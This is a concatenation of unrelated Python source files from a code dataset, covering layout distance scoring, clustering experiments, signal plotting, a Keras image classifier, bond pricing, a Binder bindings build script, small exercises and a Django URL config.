signal\n\n","sub_path":"unlock/bci/acquire/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"649218453","text":"\nimport math\n\nINFLECTION = 800\n\nMAX_WIDTH = 1300\nMAX_HEIGHT = 2500\n\nMAX_DIST = math.sqrt(\n ((MAX_WIDTH)**2) + ((MAX_HEIGHT)**2)\n)\n\n\ndef _are_opposite_ends_of_page(y1, y2, page_height):\n if y1 < 450 and page_height - y2 < 450:\n return True\n if y2 < 450 and page_height - y1 < 450:\n return True\n return False\n\n\ndef adjusted_euclidean_distance(ld1, ld2, context):\n\n x1, y1 = ld1['rect']['x'], ld1['rect']['y']\n x2, y2 = ld2['rect']['x'], ld2['rect']['y']\n\n # euc_dist_orig = math.sqrt(\n # ((x2-x1)**2) + ((y2-y1)**2)\n # )\n page_height = context['page_height']\n\n scaled_height_diff = height_diff = abs(y2-y1)\n if scaled_height_diff > INFLECTION:\n scaled_height_diff = INFLECTION + ((scaled_height_diff-INFLECTION) / 2)\n scaled_height_diff = min(MAX_HEIGHT, scaled_height_diff)\n\n width_diff = min(MAX_WIDTH, abs(x2-x1)) # cap height and width at 2500 and 1300\n\n euc_dist_scaled = math.sqrt(\n (width_diff**2) + (scaled_height_diff**2)\n )\n\n if euc_dist_scaled < 170:\n # too close\n return 0.5\n\n # scale to between 0 and 1\n euc_dist_scaled = min(MAX_DIST, euc_dist_scaled) / MAX_DIST\n\n if page_height > 1400 and _are_opposite_ends_of_page(y1, y2, page_height):\n euc_dist_scaled *= 1.2\n euc_dist_scaled = min(1, euc_dist_scaled)\n elif height_diff < 1400 and (abs(x2-x1) < 5 or abs(y2-y1) < 5):\n # if horizontally or vertically aligned\n euc_dist_scaled *= 0.7\n\n return euc_dist_scaled\n\n\ndef standard_euclidean_distance(ld1, ld2, context):\n\n x1, y1 = ld1['rect']['x'], ld2['rect']['y']\n x2, y2 = ld1['rect']['x'], ld2['rect']['y']\n\n width_diff = min(MAX_WIDTH, abs(x2-x1)) # cap height and width at 2500 and 1300\n height_diff = min(MAX_HEIGHT, abs(y2-y1))\n\n dist = math.sqrt(\n (width_diff**2) + (height_diff**2)\n )\n\n return dist / MAX_DIST\n","sub_path":"visual_webscraper/clustering/comparisons/euclidean_distance.py","file_name":"euclidean_distance.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"222151393","text":"import pandas as pd\nimport numpy as np\nimport math\nimport pickle\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn import metrics\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import KFold\n\nimport platform\nfrom os import listdir\nfrom os.path import isfile, join\nfrom glob import glob\nfrom pathlib import Path\nimport sys\nimport os\nimport copy\nimport traceback\nimport timeit\nimport random\n\n\nimport matplotlib.pyplot as plt\n\nimport birch\nfrom predictor_advance_v1 import *\nimport utils\n\n\nfrom multiprocessing import Pool, cpu_count\nfrom threading import Thread\nfrom multiprocessing import Queue\n\n# import metrices\n\nimport sys\nimport traceback\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nclass ThreadWithReturnValue(Thread):\n def __init__(self, group=None, target=None, name=None,\n args=(), kwargs={}, Verbose=None):\n Thread.__init__(self, group, target, name, args, kwargs)\n self._return = None\n def run(self):\n #print(type(self._target))\n if self._target is not None:\n self._return = self._target(*self._args,\n **self._kwargs)\n def join(self, *args):\n Thread.join(self, *args)\n return self._return\n\n\n\nclass Bellwether(object):\n\n def __init__(self,data_path,attr_df, goal, month):\n self.directory = data_path\n self.attr_df = attr_df\n self.cores = cpu_count()\n self.goal = goal\n self.metrics = 0\n self.month = month\n\n \n def prepare_data(self, repo_name):\n df_raw = pd.read_csv(self.directory + repo_name, sep=',')\n df_raw = df_raw.drop(columns=['dates']) \n last_col = utils.get_goal(self.goal)\n cols = list(df_raw.columns.values)\n cols.remove(last_col)\n df_adjust = df_raw[cols+[last_col]]\n return df_adjust\n\n\n # Cluster Driver\n def cluster_driver(self,df,print_tree = True):\n X = df.apply(pd.to_numeric)\n cluster = birch.birch(branching_factor=20)\n cluster.fit(X)\n cluster_tree,max_depth = cluster.get_cluster_tree()\n if print_tree:\n cluster.show_clutser_tree()\n return cluster,cluster_tree,max_depth\n\n def build_BIRCH(self):\n goal_name = utils.get_goal(self.goal)\n # self.attr_df = self.attr_df.drop(goal_name, axis = 1)\n # print(goal_name,self.attr_df.columns)\n cluster,cluster_tree,_ = self.cluster_driver(self.attr_df)\n return cluster,cluster_tree\n\n \n def bellwether(self,selected_projects,all_projects):\n final_score = {}\n final_model = {}\n count = 0\n for s_project in selected_projects:\n try:\n data = self.prepare_data(s_project)\n print(s_project)\n list_temp, model_touse = DECART_bellwether(data, self.metrics, \n self.month, all_projects, s_project, \n self.directory, self.goal)\n final_score[s_project] = list_temp\n final_model[s_project] = model_touse\n except ArithmeticError as e:\n print(e)\n continue\n return [final_score, final_model]\n\n def run_bellwether(self,projects):\n threads = []\n results = {}\n models = {}\n _projects = projects\n split_projects = np.array_split(_projects, self.cores)\n for i in range(self.cores):\n print(\"starting thread \",i)\n t = ThreadWithReturnValue(target = self.bellwether, args = [split_projects[i],projects])\n threads.append(t)\n for th in threads:\n th.start()\n for th in threads:\n response = th.join()\n results.update(response[0])\n models.update(response[1])\n return results,models\n\n def run(self,selected_projects,cluster_id,data_store_path):\n print(cluster_id)\n final_score, models = self.run_bellwether(selected_projects)\n data_path = Path(data_store_path + utils.get_goal(self.goal) + '/' + str(cluster_id))\n if not data_path.is_dir():\n os.makedirs(data_path)\n with open(data_store_path + utils.get_goal(self.goal) + '/' + str(cluster_id) + '/goal_' + str(self.goal) + '.pkl', 'wb') as handle:\n pickle.dump(final_score, handle, protocol=pickle.HIGHEST_PROTOCOL)\n \n with open(data_store_path + utils.get_goal(self.goal) + '/' + str(cluster_id) + '/goal_' + str(self.goal) + '_models.pkl', 'wb') as handle:\n pickle.dump(models, handle, protocol=pickle.HIGHEST_PROTOCOL)\n # df = pd.read_pickle(data_store_path + str(cluster_id) + '/700_RF_default_bellwether.pkl')\n\n\nif __name__ == \"__main__\":\n month = 6\n cores = cpu_count()\n for i in range(7):\n print('Running Goal:', i)\n goal = utils.get_goal(i)\n start = timeit.default_timer()\n path = 'data/data_use/'\n meta_path = 'results/month_' + str(month) + '_models/' + goal + '/train_data.pkl'\n data_store_path = 'results/month_' + str(month) + '_models/'\n attr_df = pd.read_pickle(meta_path)\n project_list = list(attr_df.index)\n project_list = project_list\n\n threads = []\n results = {}\n models = {}\n split_projects = np.array_split(project_list, cores)\n\n bell = Bellwether(path,attr_df,i,month)\n for i in range(cores):\n print(\"starting thread \",i)\n t = ThreadWithReturnValue(target = bell.bellwether, args = [split_projects[i],project_list])\n threads.append(t)\n for th in threads:\n th.start()\n for th in threads:\n response = th.join()\n results.update(response[0])\n models.update(response[1])\n \n print(results)\n\n with open(data_store_path + goal + '/default_bellwether.pkl', 'wb') as handle:\n pickle.dump(results, handle, protocol=pickle.HIGHEST_PROTOCOL)\n \n with open(data_store_path + goal + '/default_bellwether_models.pkl', 'wb') as handle:\n pickle.dump(models, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\n\n\n\n\n","sub_path":"Project_Health/src/default_bellwether.py","file_name":"default_bellwether.py","file_ext":"py","file_size_in_byte":6482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"417731917","text":"import pylab as pl\n\nsr = 44100.\nf1 = 3000\nf2 = 200.\nN = 10\n\nt = pl.arange(0,sr)\nw = 2*pl.pi*f1*t/sr\no = 2*pl.pi*f2*t/sr\na = 0.5\n\nsinw = pl.sin(w)\ncosmo = pl.cos((N+1)*o)\ncosno = pl.cos(N*o)\nden = 1.- 2*a*pl.cos(o) + a*a\nscal = pl.sqrt(1. - a*a/ (1+a*a*-2*a**(2*N+2)))\ns = sinw*(1 - a*a - (2*a**(N+1))*(cosmo - a*cosno))/den\ns *= scal \n \npl.figure(figsize=(8,5))\n\npl.subplot(211) \npl.plot(t[0:440]/sr,s[0:440]/max(abs(s)), 'k-')\npl.xlabel(\"time (s)\")\n\nsig = s\nN = 32768\nstart = 0\nx = pl.arange(0,N/2)\nbins = x*sr/N\nwin = pl.hanning(N)\nscal = N*pl.sqrt(pl.mean(win**2))\nsig1 = sig[start:N+start]\nwindow = pl.fft(sig1*win/max(sig1))\nmags = abs(window/scal)\nspec = 20*pl.log10(mags/max(mags))\n\npl.subplot(212) \npl.plot(bins,spec[0:N/2], 'k-')\npl.ylim(-60, 1)\npl.ylabel(\"amp (dB)\", size=16)\npl.xlabel(\"freq (Hz)\", size=16)\npl.yticks()\npl.xticks()\npl.xlim(0,sr/2)\n\npl.tight_layout()\npl.show()\n\n","sub_path":"chapter4/blsum2.py","file_name":"blsum2.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"393283113","text":"import numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Conv2D, MaxPooling2D, Flatten, Dropout\nfrom tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom tensorflow.keras.models import load_model\n\n#저장한 데이터 불러오기\nx=np.load('./data/keras64_x.npy')\ny=np.load('./data/keras64_y.npy')\nprint(x.shape) #(1736, 200, 200, 3)\nprint(y.shape) #(1736,)\n\n\n#1. 전처리\n#train-test split\nx_train, x_test, y_train, y_test = train_test_split(x, y, train_size=0.8, random_state=77)\nx_train ,x_val, y_train, y_val = train_test_split(x_train, y_train, train_size=0.7, random_state=77)\n\n#scaling은 ImageDataGenerator 사용할 때 이미 해줌\n\n#predict 만들기 - train-test 에서 shuffle 하고 나서 해줌\nx_pred = x_test[:20]\ny_pred = y_test[:20]\n\n\n#2. 모델링\nmodel = Sequential()\nmodel.add(Conv2D(128, (3,3), padding=\"same\", input_shape=(200,200,3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=4))\nmodel.add(Dropout(0.3))\nmodel.add(Conv2D(128, (3,3), padding=\"same\", activation='relu'))\nmodel.add(MaxPooling2D(pool_size=3))\nmodel.add(Dropout(0.3))\nmodel.add(Conv2D(64, (3,2), padding=\"same\", activation='relu'))\nmodel.add(MaxPooling2D(pool_size=2))\nmodel.add(Dropout(0.3))\nmodel.add(Conv2D(64, (3,2), padding=\"same\", activation='relu'))\nmodel.add(MaxPooling2D(pool_size=3))\nmodel.add(Dropout(0.3))\nmodel.add(Flatten())\nmodel.add(Dense(256, activation='relu'))\nmodel.add(Dropout(0.3))\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dense(63, activation='relu'))\nmodel.add(Dense(1, activation='sigmoid'))\n\n\n#3. 컴파일, 훈련\nmodel.compile(loss=\"binary_crossentropy\", optimizer=\"adam\", metrics=[\"acc\"])\n\nes = EarlyStopping(monitor='val_loss',patience=100,mode='auto')\nmodelpath = './model/keras64.hdf5'\ncp = ModelCheckpoint(filepath=modelpath, monitor='val_loss',\n save_best_only=True, mode='auto')\nmodel.fit(x_train,y_train,epochs=500,batch_size=32,verbose=2,callbacks=[es,cp],validation_data=(x_val,y_val)) \n\n# ���델 불러오기\nmodel = load_model('./model/keras64.hdf5')\n\n#4. 평가\nloss,acc = model.evaluate(x_test,y_test,batch_size=32)\nprint(\"loss : \",loss)\nprint(\"acc : \",acc)\n\n#5. 예측\nresult = model.predict(x_pred)\n\n# print(\"예측값 : \", result.T.reshape(10,))\n# print(\"실제값 : \", y_pred)\n\ny_predicted = np.argmax(result,axis=1) # axis가 0 이면 열, axis가 1이면 행\n\ny_predicted = list(map(int, y_predicted)) #보기 쉽게\ny_pred = list(map(int, y_pred)) #보기 쉽게\n\nprint(\"예측값 : \", y_predicted)\nprint(\"실제값 : \", y_pred)\n\n'''\nloss : 0.8301668763160706\nacc : 0.6321839094161987\n예측값 : [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n실제값 : [1, 0, 1, 1, 1, 1, 0, 1, 1, 1]\nloss : 0.6671748757362366\nacc : 0.6264367699623108\n예측값 : [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n실제값 : [1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n'''","sub_path":"keras/keras64_ImageDataGene2.py","file_name":"keras64_ImageDataGene2.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"328611659","text":"from sympy import solve, symbols\n\n\npresent_value = float\ninterest = float\n\n\ndef coupon_bond_p(cr, f, n, i) -> present_value:\n '''\n >>> coupon_bond_p(0.1, 1000, 8, 0.1225)\n 889.2\n '''\n p=0\n c = f * cr\n for j in range(1, n+1):\n p += c/(1+i)**j\n return round((p + f/(1+i)**n), 2)\n\n\ndef coupon_bond_i(p, cr, f, n) -> interest:\n '''\n >>> coupon_bond_i(889.2, 0.1, 1000, 8)\n 0.1225\n '''\n i = symbols('i', positive=True)\n x = 0\n c = f * cr\n for j in range(1, n+1):\n x += c/(1+i)**j\n return round(solve(p - (x + f/(1+i)**n), i)[0], 4)\n\n\ndef pv_cf(cf, i, n) -> present_value:\n '''\n >>> pv_cf(110, 0.1, 1)\n 100.0\n '''\n return round((cf / (1+i)**n), 2)","sub_path":"financial_calculation.py","file_name":"financial_calculation.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"97359501","text":"#!/usr/bin/env python3\n\nimport glob\nimport os\nimport platform\nimport sys\nimport shutil\nimport subprocess\nimport re\nimport multiprocessing\nimport itertools\nfrom contextlib import contextmanager\n\n\n\n# Overall script settings\nthis_project_package = f'{os.getcwd()}/bdsg'\nthis_project_source = f'{this_project_package}/src'\nthis_project_include = f'{this_project_package}/include'\nthis_project_deps = f'{this_project_package}/deps' # Now deps come from submodules.\nbindings_dir = f'{this_project_package}/cmake_bindings'\nthis_project_namespace_to_bind = 'bdsg'\npython_module_name = 'bdsg'\n\n# We have one global notion of what an include looks like\nINCLUDE_REGEX = re.compile('^\\s*#include\\s+([\"<])(.*)([\">])')\n# We have one master list of source code extensions\nSOURCE_EXTENSIONS = ['hpp', 'cpp', 'h', 'cc', 'c']\n\ndef clone_repos():\n ''' download the most recent copy of binder from git '''\n if not glob.glob(\"binder\"):\n print(\"Binder not found, cloning repo...\")\n subprocess.check_call(['git', 'clone', 'https://github.com/RosettaCommons/binder.git', 'binder'])\n parent = os.getcwd()\n os.chdir('binder')\n subprocess.check_call(['git', 'checkout', 'ee2ecff151d125c3add072a7765aebad6f42a70d'])\n os.chdir(parent)\n\ndef build_binder():\n '''\n Check for binder executable in the location we expect it.\n If it's not there, build binder with the included script.\n Expects to run in the binder directory.\n :return: location of executable, relative to project directory\n '''\n if not glob.glob(\"./build/*/*/bin/*\"):\n print(\"Binder not compiled, using packaged build.py...\")\n # Make Binder use out pybind11 version\n subprocess.check_call(['sed', '-i', \"s/^_pybind11_version_ = .*/_pybind11_version_ = '5b0a6fc2017fcc176545afe3e09c9f9885283242'/g\", 'build.py'])\n # TODO: Use CPU counting that accounts for container quotas?\n subprocess.check_call([sys.executable, 'build.py', '--jobs', str(multiprocessing.cpu_count())])\n return \"binder/\" + glob.glob('./build/*/*/bin/')[0] + \"binder\"\n\ndef all_sources_and_headers(include_deps=False):\n '''\n Find all source or include files relevant to the project.\n Yields their paths.\n \n Note that we count the libhandlegraph sources as part of this project's\n sources. We include them even if include_deps is false and we aren't\n including the other dependencies.\n '''\n \n # And the paths we want to look in.\n # Always include libhandlegraph.\n paths = [f'{this_project_source}/**/*', f'{this_project_include}/**/*', f'{this_project_deps}/libhandlegraph/src/**/*']\n if include_deps:\n # Include all dependencies if asked\n paths.append(f'{this_project_deps}/**/*')\n # Get an iterable of glob iterables that search all combinations\n all_globs = (glob.glob(f'{f}.{e}', recursive=True) for f, e in itertools.product(paths, SOURCE_EXTENSIONS))\n # Deduplicate overlapping globs\n seen = set()\n for filename in itertools.chain.from_iterable(all_globs):\n if filename not in seen:\n yield filename\n seen.add(filename)\n \n # files = list()\n # searchroot = os.path.abspath(f'{this_project_source}/../')\n # for (root,dirs,fils) in os.walk(searchroot):\n # for fl in fils:\n # if(fl.endswith((\"hpp\",\"cpp\",\"h\",\"cc\",\"c\")) and (\"src\" in root or \"include\" in root)):\n # files.append(root+\"/\"+fl)\n # print(f'found source files {files}')\n # for filename in files:\n \n \n\n@contextmanager\ndef clean_includes():\n '''\n Goes through source code and replaces all quote-format includes with carrot-style includes on entry.\n\n Reverts changes on exit.\n '''\n changes_made = dict()\n # find instances of includes we need to change\n for filename in all_sources_and_headers():\n changes_made[filename] = list()\n with open(filename, 'r') as fh:\n for line in fh:\n match = INCLUDE_REGEX.match(line)\n if match:\n replacement = line[:match.start()] + f'#include <{match.group(2)}>' + line[match.end():]\n changes_made[filename].append((line, replacement))\n if not changes_made[filename]:\n del changes_made[filename]\n # edit files we need to alter and then resave them\n for filename in changes_made.keys():\n filedata = \"\"\n listInd = 0\n with open(filename, 'r') as fh:\n for line in fh:\n if listInd < len(changes_made[filename]) and line == changes_made[filename][listInd][0]:\n filedata += changes_made[filename][listInd][1]\n listInd += 1\n else:\n filedata += line\n with open(filename, 'w') as fh:\n fh.write(filedata)\n try:\n yield\n finally:\n for filename in changes_made.keys():\n filedata = \"\"\n listInd = 0 \n with open(filename, 'r') as fh:\n for line in fh:\n if listInd < len(changes_made[filename]) and line == changes_made[filename][listInd][1]:\n filedata += changes_made[filename][listInd][0]\n listInd += 1\n else:\n filedata += line\n with open(filename, 'w') as fh:\n fh.write(filedata)\n \n\ndef make_all_includes():\n '''\n Generates an .hpp file with all includes in this project that need to be bound.\n We collect all the include directives from this project's sources.\n '''\n \n all_includes = []\n all_include_filename = 'all_cmake_includes.hpp'\n \n for filename in all_sources_and_headers(include_deps=False):\n # Then for each file found by any search\n with open(filename, 'r') as fh:\n for line in fh:\n if 'BINDER_IGNORE' in line:\n # Skip includes that are maybe not available on all systems\n continue\n # Look at each line\n match = INCLUDE_REGEX.match(line)\n if match:\n # This is an include directive that makes sense to include here. Parse it\n is_relative = match.group(1) == '\"'\n included_path = match.group(2)\n assert (match.group(1) == '\"') == (match.group(3) == '\"'), \"Mismatched include delimiters in \" + filename + \" for \" + included_path\n \n # Relative includes arent really relative paths so we can't really resolve them.\n \n # Just collect all the includes as <>\n all_includes.append(f'#include <{included_path}>')\n all_includes = list(set(all_includes))\n # This is to ensure that the list is always the same and doesn't\n # depend on the filesystem state. Not technically necessary, but\n # will cause inconsistent errors without it.\n all_includes.sort()\n with open(all_include_filename, 'w') as fh:\n # Start by always including the binding-generation-time hook file, with\n # things Binder needs to see to generate good bindings.\n fh.write('#include \\n')\n for include in all_includes:\n fh.write(f'{include}\\n')\n return all_include_filename\n \n \ndef postprocess_bindings():\n '''\n Modify generated bindings files to correct Binder's STL-version-dependent code to portable code.\n '''\n \n # We apply each of these to all source files with sed.\n transformations = ['s/class std::__cxx11::basic_string/std::string/g', # We can't leave \"class\" in front of a non-template\n 's/std::__cxx11::basic_string/std::string/g']\n # TODO: Add transformations to catch problems from libc++ STL\n \n for (directory, subdirectories, files) in os.walk(bindings_dir):\n for filename in files:\n if os.path.splitext(filename)[1].lstrip('.') in SOURCE_EXTENSIONS:\n # For each source file, get its full path from where our process is\n full_path = os.path.join(directory, filename)\n for transformation in transformations:\n # Apply all the transformations\n subprocess.check_call(['sed', \"-i.bak\", transformation, full_path])\n os.unlink(full_path + '.bak')\n\n\ndef make_bindings_code(all_includes_fn, binder_executable):\n ''' runs the binder executable with required parameters '''\n # Find all the include directories for dependencies.\n # Some dependency repos have an include and some have an src/include.\n # BBHash and sparsepp have weird project structures and needs to be handled specially.\n proj_include = (glob.glob(f'{this_project_deps}/*/include') +\n glob.glob(f'{this_project_deps}/*/src/include') +\n [f'{this_project_deps}/sparsepp',\n f'{this_project_deps}/BBHash'])\n # proj_include = \" -I\".join(proj_include)\n proj_include = [f'-I{i}' for i in proj_include]\n \n command = [binder_executable,\n \"--root-module\", python_module_name,\n \"--prefix\", f'{bindings_dir}/',\n '--bind', this_project_namespace_to_bind,\n \"--config\", \"config.cfg\",\n all_includes_fn,\n \"--\",\n \"-std=c++14\",\n f'-I{this_project_include}']\n if platform.system() == 'Darwin':\n # We need the MacOS SDK, which provides the C standard library and also a C++ STL, at least as of Apple Clang 14.\n sdk_path=subprocess.check_output(['xcrun', '-sdk', 'macosx', '--show-sdk-path']).decode('utf8').strip()\n command.append('-isysroot' + sdk_path)\n # Also make sure to look for libomp from macports or homebrew, like CMakeLists.txt does\n command.append('-I/opt/local/include/libomp')\n command.append('-I/usr/local/include')\n\n # Find Jansson\n jansson_flags = subprocess.check_output(['pkg-config', '--cflags', 'jansson']).decode('utf-8').strip().split(' ')\n command += jansson_flags\n\n command = command + proj_include\n command.append(\"-DNDEBUG\")\n command.append(\"-v\")\n print('BINDER COMMAND:', ' '.join(command))\n \n shutil.rmtree(bindings_dir, ignore_errors=True)\n os.mkdir(bindings_dir)\n subprocess.check_call(command)\n \n # Do some post-processing on the bindings\n postprocess_bindings()\n \n\n \ndef main():\n clone_repos()\n parent = os.getcwd()\n os.chdir(\"binder\")\n binder_executable = build_binder()\n os.chdir(parent)\n with clean_includes():\n all_includes_fn = make_all_includes()\n make_bindings_code(all_includes_fn, binder_executable)\n\nif __name__ == '__main__':\n main()\n","sub_path":"make_and_run_binder.py","file_name":"make_and_run_binder.py","file_ext":"py","file_size_in_byte":10805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"68548617","text":"import os\ndef count_word(path):\n with open(path,'r') as f:\n lines = f.readlines()\n words_num = 0\n for line in lines:\n if line == '\\n':\n continue\n else:\n for symbol in ['\\n','#',' ']:\n line = line.strip(symbol)\n words = line.split(' ')\n words_num += len(words)\n return words_num\n\nfn = \"C:/Users/lenovo/Desktop/readme.md\"\nif os.path.isfile(fn):\n words_num = count_word(fn)\n print('There are {} words in file {}.'.format(words_num,fn))\nelse:\n print('The file does not exist.')\n","sub_path":"f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"391878312","text":"from datetime import date\r\ndays=['Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sunday']\r\nprint(days[date.weekday(date.today())])\r\nimport webbrowser\r\nwebbrowser.open('https://www.youtube.com/watch?v=QJbpJQscn9E&t=113s')\r\nimport os\r\nos.rename('file.txt','file.jpg')\r\n\r\n\r\n# regex assignment\r\n\r\n#ques 1\r\nimport re\r\n\r\nemails=''' abc@gmail.com\r\n xyz@yahoo.com\r\n jainyz.yahoo.com\r\n str892@gmail.@com\r\n dj_a@hotmail.com'''\r\npattern= re.compile('[a-zA-Z0-9_.]+@{1}[a-zA-Z0-9]+\\.[a-zA-Z0-9]+')\r\nmatches= pattern.findall(emails)\r\nfor i in matches:\r\n print(i)\r\n#ques 2\r\nnumbers=''' +91123456789 +8 23658974 +91-987654321 +91-8652398745 +91-6230525302 '''\r\npattern = re.compile(r'[+]91-[6-9][0-9]{9}')\r\nmatches = pattern.findall(numbers)\r\nfor i in matches:\r\n print(i)\r\n","sub_path":"assign11.py","file_name":"assign11.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"295618019","text":"class Solution:\n \"\"\"\n @param: chars: The letter array you should sort by Case\n @return: nothing\n \"\"\"\n def sortLetters(self, chars):\n length = len(chars)\n l_index, r_index = 0, length - 1\n while l_index < r_index:\n if chars[l_index].islower():\n l_index += 1\n continue\n if chars[r_index].isupper():\n r_index -= 1\n continue\n chars[l_index], chars[r_index] = chars[r_index], chars[l_index]\n l_index += 1\n r_index -= 1\n","sub_path":"lc0049_sort_letters_by_case.py","file_name":"lc0049_sort_letters_by_case.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"599788333","text":"from pytorch_lightning import Trainer, seed_everything\n\n\n\n\nclass AlgorithmTrainer(Trainer):\n\n \"\"\"\n this class overides the trainer training loop in order to add custom\n reinforcement learning functionality\n \"\"\"\n\n def __init__(self):\n super(AlgorithmTrainer, self).__init__()\n\n @override\n def train(self):\n self.run_sanity_check(self.get_model())\n\n # enable train mode\n model = self.get_model()\n model.train()\n torch.set_grad_enabled(True)\n\n # reload data when needed\n self.train_loop.reset_train_val_dataloaders(model)\n\n # hook\n self.train_loop.on_train_start()\n\n try:\n # run all epochs\n for epoch in range(self.current_epoch, self.max_epochs):\n\n # reset train dataloader\n if self.reload_dataloaders_every_epoch:\n self.reset_train_dataloader(model)\n\n # hook\n self.train_loop.on_train_epoch_start(epoch)\n\n # run train epoch\n self.train_loop.run_training_epoch()\n\n if self.max_steps and self.max_steps <= self.global_step:\n\n # hook\n self.train_loop.on_train_end()\n return\n\n # update LR schedulers\n self.optimizer_connector.update_learning_rates(interval='epoch')\n\n # early stopping\n met_min_epochs = epoch >= self.min_epochs - 1\n met_min_steps = self.global_step >= self.min_steps if self.min_steps else True\n\n if self.should_stop:\n if (met_min_epochs and met_min_steps):\n self.train_loop.on_train_end()\n return\n else:\n log.info('Trainer was signaled to stop but required minimum epochs'\n f' ({self.min_epochs}) or minimum steps ({self.min_steps}) has'\n ' not been met. Training will continue...')\n\n # hook\n self.train_loop.on_train_end()\n\n except KeyboardInterrupt:\n rank_zero_warn('Detected KeyboardInterrupt, attempting graceful shutdown...')\n\n # user could press ctrl+c many times... only shutdown once\n if not self.interrupted:\n self.interrupted = True\n self._state = TrainerState.INTERRUPTED\n self.on_keyboard_interrupt()\n\n # hook\n self.train_loop.on_train_end()","sub_path":"src/algorithm/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"498837819","text":"# Recebe 4 notas e imprime notas e sua média\n\nnotas = []\ncontador = 0\nsoma = 0\n\nwhile contador < 4:\n n = float(input('Digite a nota: '))\n notas.append(n)\n soma += n\n contador += 1\n\nprint('Notas: ', notas)\nprint('Média: %5.2f' % (soma / contador))\n\n","sub_path":"TWP200/TWP274.py","file_name":"TWP274.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"150168825","text":"s3 = Sentence('Pig and Pepper') # Obtain an iterator from s3.\nit = iter(s3)\nit # \n\nnext(it) # 'Pig'\nnext(it) # 'and'\nnext(it) # 'Pepper'\nnext(it) # StopIteration\n\n# Once exhausted, an iterator becomes useless.\nlist(it) # []\n\n# To go over the sentence again, a new iterator must be built.\nlist(iter(s3)) # ['Pig', 'and', 'Pepper']\n","sub_path":"src/language_ref/control/iterator.py","file_name":"iterator.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"172005344","text":"import os\n\n# path to our original dataset directory\nORIGIN_DATASET = \"Food-11\"\n\n# path to the new directory containing our images \n# after the training and testing split\nBASE_PATH = \"dataset\"\n\n# names of training, testing, validation directories\nTRAIN = \"training\"\nTEST = \"evaluation\"\nVAL = \"validation\"\n\n# list of class label names\nCLASSES = [\"Bread\", \"Dairy product\", \"Dessert\", \"Egg\", \"Fried food\",\n\t\"Meat\", \"Noodles/Pasta\", \"Rice\", \"Seafood\", \"Soup\",\n\t\"Vegetable/Fruit\"]\n\n# set the batch size\nBATCH_SIZE = 32\n\n# label encoder path\nLE_PATH = os.path.sep.join([\"output\", \"le.cpickle\"])\n\n# output directory to store extracted features (in .csv format)\nBASE_CSV_PATH = \"output\"\n\n# path to the serialized model after training\nMODEL_PATH = os.path.sep.join([\"output\", \"food11.model\"])\n\n# path to the output training history plots\nUNFROZEN_PLOT_PATH = os.path.sep.join([\"output\", \"unfrozen.png\"])\nWARMUP_PLOT_PATH = os.path.sep.join([\"output\", \"warmup.png\"])","sub_path":"Food Classification/Fine-tuning Food Classification with VGG16/utilities/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"554272061","text":"__author__ = 'Luke'\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^album/create/$', views.album_create, name='album_create'),\n url(r'^album/(?P[\\w-]+)/$', views.album_detail, name='album_detail'),\n url(r'^album/(?P[\\w-]+)/edit/$', views.album_edit, name='album_edit'),\n url(r'^album/(?P[\\w-]+)/delete/$', views.album_delete, name='album_delete'),\n url(r'^album/$', views.album_list, name='album_list'),\n url(r'^$', views.chart_view, name='chart'),\n\n]\n","sub_path":"website/music/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
